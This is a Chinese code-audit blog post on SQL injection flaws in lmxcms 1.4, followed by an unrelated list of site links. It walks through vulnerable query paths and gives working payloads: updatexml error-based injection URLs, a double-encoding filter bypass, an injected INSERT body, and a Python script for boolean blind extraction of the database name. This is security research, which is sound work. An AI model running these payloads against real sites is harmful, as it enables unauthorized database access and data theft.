当前位置:网站首页>lmxcms1.4
lmxcms1.4
2022-08-04 05:27:00 【Ki10Moc】
环境准备
PHP5.4.45
进来后先安装
该框架漏洞在cnvd可以找到很多
代码审计
sql注入
后台
基本流程:getReply->parent::selectModel->parent::selectDB->sql
c/admin/BookAction.class.php下存在一处sql查询

这里跟进查询
到db.class.php

在封装的selectDB方法下
在这里添加一句echo $sql;

注意闭合符号

url/admin.php?m=book&a=reply&id=1) or updatexml(1,concat(0x7e,version()),1)%23

前台
TagsAction.class.php
基本流程:getNameData->parent::oneModel->parent::oneDB->sql
接着是

这里封装的p函数
可以看到之类有sql的过滤

同理,在oneDB下加上echo $sql;

这里可以用单引号来闭合,但是会转义
注意到源码

那就来二次编码

可以看到执行成功
SELECT * FROM lmx_tags WHERE name = 'a' or updatexml(0,concat(0x7e,version()),1)#' limit 1sql语句有误XPATH syntax error: '~5.7.26'
BookAction.class.php
checkData函数

基本流程:checkData->index::add->parent::addModel->parent::adddDB
老样子,打上输出语句
将需要的参数都添加上

这里是个insert语句



setbook=a&name=a&content=b&mail=c&tel=d&time,ischeck)VALUES(1,2,3,4,5,6,1);#=1
这里看下数据库

我们的数据已经插入
还应该注意一个参数
ischeck=1,可回显,也就是可见
ischeck=0,就是不可见
SerchAction.class.php
基本流程:searchModel->searchCoutn::parent::countModel::parent::countDB->sql
?m=search&keywords=a&mid=1&tuijian=id%20or%20(if(ascii(substr(database(),1,1))=0x6c,1,0));%23

说明第一个字母是l
可以修改下源码的编码方式继续注入
也可以通过Lxxx师傅的脚本
import requests
url = "http://localhost?m=search&keywords=b&mid=1&tuijian=id or (if(ascii(substr(database(),{},1))={},1,0)); %23"
ans = ""
for i in range(1, 7):
for j in range(97, 97+26):
surl = url.format(i, hex(j))
res = requests.get(surl)
if len(res.text) > 6000:
ans += chr(j)
print(ans)

一篇很久之前的文章,如有错误欢迎指出
边栏推荐
猜你喜欢
随机推荐
4.3 Annotation-based declarative transactions and XML-based declarative transactions
7.16 Day22---MYSQL (Dao mode encapsulates JDBC)
关于C#的反射,你真的运用自如嘛?
(Kettle) pdi-ce-8.2 连接MySQL8.x数据库时驱动问题之终极探讨及解决方法分析
MySql data recovery method personal summary
Several ways to heavy
什么是跨域和同源
部署LVS-DR群集【实验】
OpenGLES 学习之帧缓存
C1认证之web基础知识及习题——我的学习笔记
通过&修改数组中的值
TensorRTx-YOLOv5工程解读(一)
Swoole学习(二)
Shell(2)数值运算与判断
进入古诗文网站个人中心,绕过登录
计算属性的作用及使用?
嵌入式系统驱动初级【4】——字符设备驱动基础下_并发控制
FLV格式详解
webtrc 中VideoAdapter类中的作用及局限
string类简介









